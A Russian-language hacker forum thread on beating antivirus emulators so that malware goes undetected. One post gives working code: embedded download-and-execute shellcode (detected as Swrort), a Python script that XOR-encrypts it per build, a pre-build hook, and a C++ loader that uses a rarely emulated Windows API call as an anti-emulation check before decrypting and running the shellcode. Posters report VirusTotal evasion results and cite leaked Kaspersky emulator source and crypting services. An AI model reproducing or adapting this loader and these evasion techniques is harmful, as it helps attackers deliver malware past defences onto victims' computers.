Антиэмуляция

KraZz

(L3) cache
Пользователь
Регистрация
18.06.2009
Сообщения
196
Реакции
7
Антиэмуляция всегда заслуживала отельного и детального обсуждения, поэтому предлагаю это делать в этом топе.
Dr.Golova пишет:
Посоны, почему только срач? а где свежая антиэмуляция, что правится одной строчкой? Эдак меня уволят скоро потому что делать нечего. Ну ка напрягитесь и выдайте ченить =)
Проклятые сандбоксы скоро лишат меня работы, снова придется софт адаптировать на заказ.
http://wasm.ru/forum/viewtopic.php?id=32212 - Немного об антиэмуляции

Вот как бы вот так унизитизающе думают аверы, скорее всего у них и нет в планах все эмулить.. так как есть страх остаться без нищебродской зп.
Ну и соответственно мы должны понимать, что они мониторят наши сайты, делают это "ежедневно" и могут иметь также доступ в приватные разделы на других форумах...

паук пишет:
Предлагаю обсудить идею создания АВТОМАТИЧЕСКОГО поиска API для антиэмуляции.

Идея в следующем: Парсим содержимое /system32/ на предмет всех dll, дергаем оттуда весь экспорт, собираем в одном месте все возможные *.H файлы содержащие все воможные протипы.
Пытаемся для каждой экспортируемой функции в dll найти ее прототип.

Далее создаем кодес вызываю каждую функцию с какими то рандомными параметрами скажем 1000 раз. Параметры для вызва собираем рандомом. Мониторим за падением приложения ( __try __catch), зависанием приложения (например мы вызвали MessageBox) и прочими аномалими. В процессе работы мы собираем статистику "БЕЗОПАСНЫХ АПИ"
Собственно это уже сделано для системных библиотек, могу поделиться.


Далее: Повторить тест уже над безопасными апи, но параметры генерировать как то более осмыслено. Как я пока не решил. Возможно это и не нужно.

Далее:
Создаем заведомо паленый шелкод, обрамляем его декриптором и запуском аля
Код:
char SC[]="\x66\x12\x80\x59\x21\x58\x81\x60\x36\x32";
void (*shell) ();        
ANTI_EMUL();
EncryptData(SC,KEY);
shell = (void(*)()) (void*)SC;
shell();

Далее создаем генератор исходников, который наполняет функцию ANTI_EMUL вызовом какой то апишки из полученных ранее "БЕЗОПАСНЫХ" и результатом работы функции например будет расшифровыватсья шелкод. Далее компилируем эти исходники и чекаем на аверах, купить сервис или поднять свйо АВчек не проблема.

В итоге мы имеем огромный набор АПИ, который можно использовать в антиэмуляции, причем ничего не мешает запилить софт, который будет напичкивать наш лоадер ими на этапе предкомпиляции....

Есть исходники:
http://bunny-the-fuzzer.googlecode.com/files/bunny-0.93.tgz
пока еще не смотрел, но увидел там в файле bunny-exec.c функции есть работающие с параметрами функций, хотя может быть и не то, все-таки там надо детально смотреть, а у меня пока нет на это времени...
 
Конца не будет, аверы всё равно какие-нибудь костыли напишут.

По сути файл могут задетектить двумя этапами:
1)АВ сканер(сигнатурный, эвристический...) в режиме сканирования файлов выдаст детект.
2)HIPS/FireWall/Cloud по поведенческим базам задетектят файл и отправят в контору на реверс.

Первый случай можно решить исследуя ВМ АВ в отдельности, пока готового продукта нет - говорить не о чем.

Теперь на счёт апи для антиэмуляции:
Как вы думаете, аверы не могли запилить подобную утилиту и прогнать её через своё детище ?
Даже если не так, способ - не очень хороший, я бы назвал - затычкой.

Не буду повторяться, вот тут много мыслей на эту тему:
http://xss.pro/index.php?topic=22144
 
Затычкой можно назвать абсолютно любой предложенный метод. Он хорошо пока сидит в нашей голове, как только он реализован найдется детект на него. Это, как говорится, борьба "брони и снаряда". Но! Метод даст некоторое колличество трюков, что освободит время для "выдумывания" нового метода. На васме вон кто-то запилил детект эмуляции анализируя как изменился стек после вызова той или иной функции. Впринципе тоже самое.

Если идти по пути клерка-инди мы не придем ни к чему. "Эволюция" показывает, что затычки приводят к профиту. Профит тратится на изготовление новых затычек. Если нам нужен результат, нужно использовать затычки а не теоретизировать не тему вечного FUD


Аверы могли запилить что угодно. Но практика показывает что их системы эмулят лишь жалкую часть того, что мы можем собрать и использовать. Если наш двиг приведет к полной эмуляции использованых нами АПИ, это приведет к резкому снижению скорости его работы и как следствие выпиливание с рынка этого авера потому что он с точки зрения потребителя "ТОРМОЗНУТЫЙ". Чем не метод войны :)
 
Теперь на счёт апи для антиэмуляции:
Как вы думаете, аверы не могли запилить подобную утилиту и прогнать её через своё детище ?

Пока есть API-шки пригодные для антиэмуляции, значит не смогли. А они ж есть, тот же QueryDosDevice например
 
Среда не будет эмулится никогда, просто не надо делать так:
x=GetLastError(func(arg1,arg2...argN))
lea eax,[eax+lbl-x]
call eax

Нужно понимать что в процессе исполнения любой апишки меняется внутреннее состояние системы, и учесть все изменения невозможно впринципе (так как тогда размер ав механизма ~ размер самой системы, а быстродействие <<)
 
RTFM!
Вообщем взял для тестов в чистом виде шелл из сорцов Left4Dead
Протестил на VT и получил результат:
Код:
Emsisoft     Trojan.Win32.Swrort!IK
Ikarus       Trojan.Win32.Swrort
Kaspersky    HEUR:Trojan-Downloader.Win32.Generic
Norman       W32/Swrort.A
http://www.microsoft.com/security/portal/T...in32%2FSwrort.A
Summary
Trojan:Win32/Swrort.A is a detection for files that try to connect to a remote server. Once connected, an attacker can perform malicious routines such as downloading other files.
Нам как раз важно было, чтобы в выдаче был результат Kaspersky
Почему именно Kaspersky, да все просто у нас на руках его говноисходники
Теперь для тестов делаем, так как предложил паук

Для тестов возьмем Microsoft Visual Studio 2010, так как ее рантайм дает чистый результат на VT
http://forum.ru-board.com/misc.cgi?action=...=35&topic=47368
http://download.microsoft.com/download/2/4...UltimTrial1.iso
Microsoft_Visual_Studio_2010 Ultimate Trial (English) YCFHQ-9DWCY-DKV88-T2TMH-G7BHP
File Name: X16-42552VS2010UltimTrial1.iso - 2,27 GB (2 446 950 400 bytes)
MD5: 5879FD90072F62481B304673CEA2B527

Также устанавливаем этот плагин:
http://pytools.codeplex.com/ - Python integration for Visual Studio 2010
Как бы ахтунги из Microsoft не пиарили свой дотнет, а в результате склонили головы перед питоном
Python нужно установить до установки этого плагина

Создадим пустой проект C++ в студии и назовем его test или как-нибудь по-другому
Далее создаем файл GenerateCryptedData.py
И копипастим туда следующий код:
Код:
#-*- coding: utf8 -*-
import random
random.seed()
key = random.randint(0x2B, 0xDF)

def MakeCS(String):
   str = "\""
   ckey = 0
   for char in String:
      ckey+=key
      char = ord(char)^ckey
      str += "\\x%02X" % (char&0xFF)
   ckey+=key
   char = 0^ckey
   str += "\\x%02X\"" % (char&0xFF)
   return str

list = []
SwrortCode = "\xFC\xE8\x8C\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B"\
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0"\
"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57"\
"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01"\
"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B"\
"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4"\
"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B"\
"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24"\
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xE9\x83\xFF"\
"\xFF\xFF\x5D\x68\x6E\x65\x74\x00\x68\x77\x69\x6E\x69\x89\xE6\x54"\
"\x68\x4C\x77\x26\x07\xFF\xD5\x31\xFF\x57\x57\x57\x57\x56\x68\x3A"\
"\x56\x79\xA7\xFF\xD5\xE9\x60\x00\x00\x00\x5B\x31\xC9\x51\x51\x6A"\
"\x03\x51\x51\x6A\x50\x53\x50\x68\x57\x89\x9F\xC6\xFF\xD5\xEB\x4F"\
"\x59\x31\xD2\x52\x68\x00\x32\x20\x84\x52\x52\x52\x51\x52\x50\x68"\
"\xEB\x55\x2E\x3B\xFF\xD5\x89\xC6\x6A\x10\x5B\x68\x80\x33\x00\x00"\
"\x89\xE0\x6A\x04\x50\x6A\x1F\x56\x68\x75\x46\x9E\x86\xFF\xD5\x31"\
"\xFF\x57\x57\x57\x57\x56\x68\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75"\
"\x1B\x4B\x0F\x84\x7B\x00\x00\x00\xEB\xD1\xE9\x8D\x00\x00\x00\xE8"\
"\xAC\xFF\xFF\xFF\x2F\x2F\x31\x2E\x65\x78\x65\x00\xE9\x6B\x00\x00"\
"\x00\x31\xC0\x5F\x50\x6A\x02\x6A\x02\x50\x6A\x02\x6A\x02\x57\x68"\
"\xDA\xF6\xDA\x4F\xFF\xD5\x93\x31\xC0\x66\xB8\x04\x03\x29\xC4\x54"\
"\x8D\x4C\x24\x08\x31\xC0\xB4\x03\x50\x51\x56\x68\x12\x96\x89\xE2"\
"\xFF\xD5\x85\xC0\x74\x2D\x58\x85\xC0\x74\x16\x6A\x00\x54\x50\x8D"\
"\x44\x24\x0C\x50\x53\x68\x2D\x57\xAE\x5B\xFF\xD5\x83\xEC\x04\xEB"\
"\xCE\x53\x68\xC6\x96\x87\x52\xFF\xD5\x6A\x00\x57\x68\x31\x8B\x6F"\
"\x87\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\xE8\x90\xFF\xFF"\
"\xFF\x72\x75\x6E\x64\x31\x31\x2E\x65\x78\x65\x00\xE8\x09\xFF\xFF"\
"\xFF\x31\x32\x37\x2E\x30\x2E\x30\x2E\x31\x00\x00\xAB\xAB\xAB\xAB"\
"\xAB\xAB\xAB\xAB\xEE\xFE\xEE\xFE\x00\x00\x00\x00\x00\x00\x00\x00"\
"\x33\x00\x3B\x00\xEE\x04\xEE\x00\x10\x03\x39\x00\x10\x03\x39\x00";

list.append("")
list.append("__declspec(selectany) BYTE csSwrortCode[] = "+MakeCS(SwrortCode)+";")
list.append("")

file = open("test.hpp", 'w+b')
try:
   file.write("//test.hpp\r\n");
   file.write("#ifndef CRYPTEDSTRINGS\r\n");
   file.write("#define CRYPTEDSTRINGS\r\n");
   file.write("#include <windows.h>\r\n\r\n");
   file.write("#define XKEY "+str(key)+"\r\n");
   file.write("extern \"C\" {\r\n");
   for String in list:
      file.write(String+"\r\n");
   file.write("};\r\n");
   file.write("#endif\r\n");
finally:
   file.close()
Этот код питона создает файл test.hpp, в котором будет примерно следующий код:
Код:
//test.hpp
#ifndef CRYPTEDSTRINGS
#define CRYPTEDSTRINGS
#include <windows.h>

#define XKEY 137
extern "C" {

__declspec(selectany) BYTE csSwrortCode[] = "\x75\xFA\...\xE0\x69";

};
#endif
csSwrortCode - это поксоренный шелл, который потом декриптицца в тестовом сэмпле
XKEY при каждом скомпиленом сэмпле будет разный, что сделает наш шелл рандомным и очень меленькая вероятность, что на VT попадет одинаковый сэмпл
Короче... тестим смело и небздим %)))
Теперь в студии откроем настройки проекта и в Build Events в Pre-Build Event в Command Line
Пропишем примерно следующее:
"c:\Python26\python.exe" "C:\Documents and Settings\User\мои документы\visual studio 2010\Projects\test\GenerateCryptedData.py"
С кавычками :)
Теперь, когда будем жать кнопку Build, перед компиляцией будет генерицца файл test.hpp, который и будет скомпилен

Теперь нам нужно взять исходники Kaspersky и начинать изучать файлы, которые находятся в директории emulator
Если посмотреть на дату в заголовках файлов, то увидим примерно следующее:
2002/10/17 09:55:03
Те интереснее (в процессе реверса) нам будет узнать, старье это или нет...
Откроем этот файл:
sources\AVP32\BaseWork\emulator\wrappers.cpp
и посмотрим на его содержимое, в частности нас, интересует массив wrapped_funcs
Код:
static wrapper_t wrapped_funcs[] = 
{
	{	"_Printf",  (void *) Printf,  -1,	WRAPPER_NATIVE	},
	{	"_Check_Sum",	(void *) CalcSum,  2,	WRAPPER_NATIVE	},
	{	"__DoJump",  (void *) _DoJump,  2,	WRAPPER_NATIVE	},
	{	"__Read",  (void *) _Read,  	3,	WRAPPER_NATIVE	},
	{	"__Write",  (void *) _Write,  3,	WRAPPER_NATIVE	},
	{	"__Seek",  (void *) _Seek,  	2,	WRAPPER_NATIVE	},
Явно попахивает старьем, но без реверса нам не узнать, поэтому это уже как бы факт.. или же это базовые функции, а остальные уже могут быть...
Читаем это:
Код:
/*
 * Checks whether the destination address is an address of the internal 
 * function, and calls this function if it is. Returns true if CALL/JUMP 
 * is handled, otherwise returns false.
 */
void I386CPU::Cmd_wrapper (BYTE cmd)
И это:
Код:
/*
 * Assembler-to-Engine function wrappers.
 * These functions are called by Intel CPU machine code, we have to transfer
 * it to engine.
 */
void I386CPU::WrapperIntelToSparc (wrapper_t * ptr)
Хм-м.. чешем мосх.. чтобы это могло значить...
Ладно, посмотрим на код функции WrapperIntelToSparc
Максимально там эмуль принять может 7 параметров, теперь у нас есть некая инфа, которую нам нужно проверить...
Нам нужны функции, у которых будет больше 7 параметров
Можно сделать как предложил паук, но это базовый тест и нам хочет чего-то менее затратного по времени для того чтобы...
Для этого мы просто тупо скачаем и установим последнюю версию MASM32
И теперь в директории c:\masm32\include\ лежат наши функи, которые готовы к тестам
Но нам нужны те, у которых более 7 параметров.. для этого возьмем какой-нибудь блокнот (ну, к примеру, EmEditor)
И заюзаем поиск в директории include по всем файлам, но с применением регулярного выражения
Код:
(\:DWORD\,){9,}
Займет это несколько миллисекунд и у нас появицца список из около 500 функций, и мы будем видеть в какой dll они находицца
Но нам также понадобится оффлайн MSDN - без него сейчас никуда
И так смотрим и выбираем какую-нибудь функу для тестов, ну возьмем, к примеру, хм-м.., а вот DrawDibDraw
Вообще нужно, конечно же, проверять эти функции на частоюзабельность, в той же директории c:\WINDOWS\system32\, но это сейчас не важно, так как это базовый тест и он "первый"...
В MSDN смотрим, в каких версиях ведра присутствует эта функа и видим следующее:
Requirements
Windows NT/2000/XP: Included in Windows NT 3.1 and later.
Windows 95/98/Me: Included in Windows 95 and later.
Header: Declared in Vfw.h.
Library: Use Vfw32.lib.
Теперь создаем файл test.cpp, добавляем его в проект и копипастим туда следующий код:
Код:
//#pragma comment(linker, "/entry:main")
#pragma comment(lib, "Vfw32.lib")

#include <windows.h>
#include <Vfw.h>
#include "test.hpp"

LPBYTE DecryptData(LPBYTE pCryptedData, int CryptedDataSize)
{
   BYTE XOR_KEY = 0;
   for(int i = 0; i < CryptedDataSize; i++)
   {
      XOR_KEY += XKEY;
      pCryptedData[i] = pCryptedData[i]^XOR_KEY;
   }
   return pCryptedData;
}

void main()
{
   HDC hDC = GetDC(NULL);
   BOOL Result = DrawDibDraw(NULL, hDC, 0, 0, 0, 0, NULL, NULL, 0, 0, 0, 0, 0);
   if(!Result)
   {
      void (*shell)() = (void(*)()) (void*)DecryptData(csSwrortCode, sizeof(csSwrortCode)-1);
      shell();
   }
   ReleaseDC(NULL, hDC);
}
Компилим и проверяем на VT
https://www.virustotal.com/file/43271da16d9...sis/1346693211/
пиздюшата отвалились, остался один Kaspersky
что есмь еще один показатель того что исходники эмуля стары каг дерьмо мамонта, хотя без реверса утверждать ничего нельзя...
 
RTFM!
rtfm= Read That Fucking Manual
Прочел, ничего непонял
Есть ли уверенность что Win32/Swrort.A это не сигнатура, а именно эвристический детект (речь про икарус и ко) ?
Правильно было бы поксорить и тогда отправлять на вт(ключ захардкорен\вбит в тело), а не голое тело

Почему именно Kaspersky, да все просто у нас на руках его говноисходники
пиздюшата отвалились, остался один Kaspersky
omg wtf?

Ах да, как много приложений легальных в импорте имеют Vfw32.lib ?

/*
* Assembler-to-Engine function wrappers.
* These functions are called by Intel CPU machine code, we have to transfer
* it to engine.
*/
void I386CPU::WrapperIntelToSparc (wrapper_t * ptr)
о срань господня, моей души, ну вбей ты в гугль(сначало гугль переводчик) коммент выше

гугль переводчик утверждает
* Assembler к двигателю обертки функции.
  * Эти функции вызываются Intel машинный код процессора, мы должны передать
  * Его в двигатель.

машинный код процессора, причем тут апишки то?
гугль:
SPARC (Scalable Processor ARChitecture) — масштабируемая процессорная архитектура) — архитектура RISC-микропроцессоров, первоначально разработанная в 1985 году компанией Sun Microsystems.

Архитектура SPARC является открытой — это значит, что:
архитектура системы команд SPARC опубликована как стандарт IEEE 1754—1994;
спецификации SPARC доступны для лицензирования любой компанией или частным лицом и дают возможность разрабатывать свои собственные решения;
развитием архитектуры SPARC занимается независимая некоммерческая организация SPARC International, Inc., основанная в 1989 году. Членство в SPARC International открыто для всех желающих.

Отличная работа!
ЗБС!

Добавлено в [time]1346775511[/time]
а, ну многие спросят типа, а в чем подвох то, почему не детектят?
нет детекта потому что взята редкая функа, возвращяемое ей значение не эмулируется или неверно эмулируется
детект нодом и авирой после первых загрузок гарантирован )
 
мм.. это скорее был наглядный пример... потому что скелетон делать из резалт апи функции -> декрипт с ключом, к которому например складывается резалт апи, далее загрузка ШК это приметив....

в идеале это множество таких апи, которые идут в дуэте с нормализованным кодом и множеством своим генерируют какое-то значение. суть в том, что это должно выглядить максимально легитимно, иначе HEUR...

p.s. левые либы в импорте это конечно стремно, но иногда помогает оч даже.
 
Затычкой можно назвать абсолютно любой предложенный метод. Он хорошо пока сидит в нашей голове, как только он реализован найдется детект на него. Это, как говорится, борьба "брони и снаряда".
Почему же ? :)
Некоторые ав неправильно эмулируют команды, повторюсь:
"пока готового продукта нет - говорить не о чем."

"Эволюция" показывает, что затычки приводят к профиту. Профит тратится на изготовление новых затычек. Если нам нужен результат, нужно использовать затычки а не теоретизировать не тему вечного FUD
Я нигде не писал о "а не теоретизировать не тему вечного FUD", я лишь высказался против вашего способа.

Аверы могли запилить что угодно. Но практика показывает что их системы эмулят лишь жалкую часть того, что мы можем собрать и использовать. Если наш двиг приведет к полной эмуляции использованых нами АПИ, это приведет к резкому снижению скорости его работы и как следствие выпиливание с рынка этого авера потому что он с точки зрения потребителя "ТОРМОЗНУТЫЙ". Чем не метод войны
Идея неплохая, кажется ещё кто-то с e0f писал на эту тему в своих статьях.
Стоит обдумать комбинацию мусорного кода с реальным, но в процессе выполнения следить за
возвращаемыми значениями из функций и в случае неверных - ExitProcess(0). Таким образом авер никогда(в идеале) не доберётся до EntryPoint.
 
Ragnar

Отличная работа!
ЗБС!

Да, остаюсь при мнении, что отличная.
Как тут уже написали - это пример. Он основан на старых и неудачных, на текущий момент, методах, но он свою функцию выполнил. Мы же дискуссируем. Мы рождаем идеи и обсасываем их со всех сторон. Ты четко и по пунктам описал почему же он нам не подойдет. Но не надо агрессии. Мы же вроде как по-дружески общаемся.
 
я хотел добавить еще одну идею, ну скорей всего свой личный опыт. со временем я ришел к выводу что анти эмулятор в полне можно писать на стандартных апи, вызывать их в разном порядке и в вполне стандартно, без загибонов и эмули отваливаются. Ну плюсы простые, переносисимость и дальнейший суппорт. Минусы явные, надо знать как это реализовывать. кому интересно можете посмотреть как это сделано в робокрипте
 
ссылку можно на этот онлайн сервис не?
за счет ссылки хз, на scan4you есть их баннер, там контакты.

porky365
робокрипт твой сервис чтоли? или ты в пример привел?
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх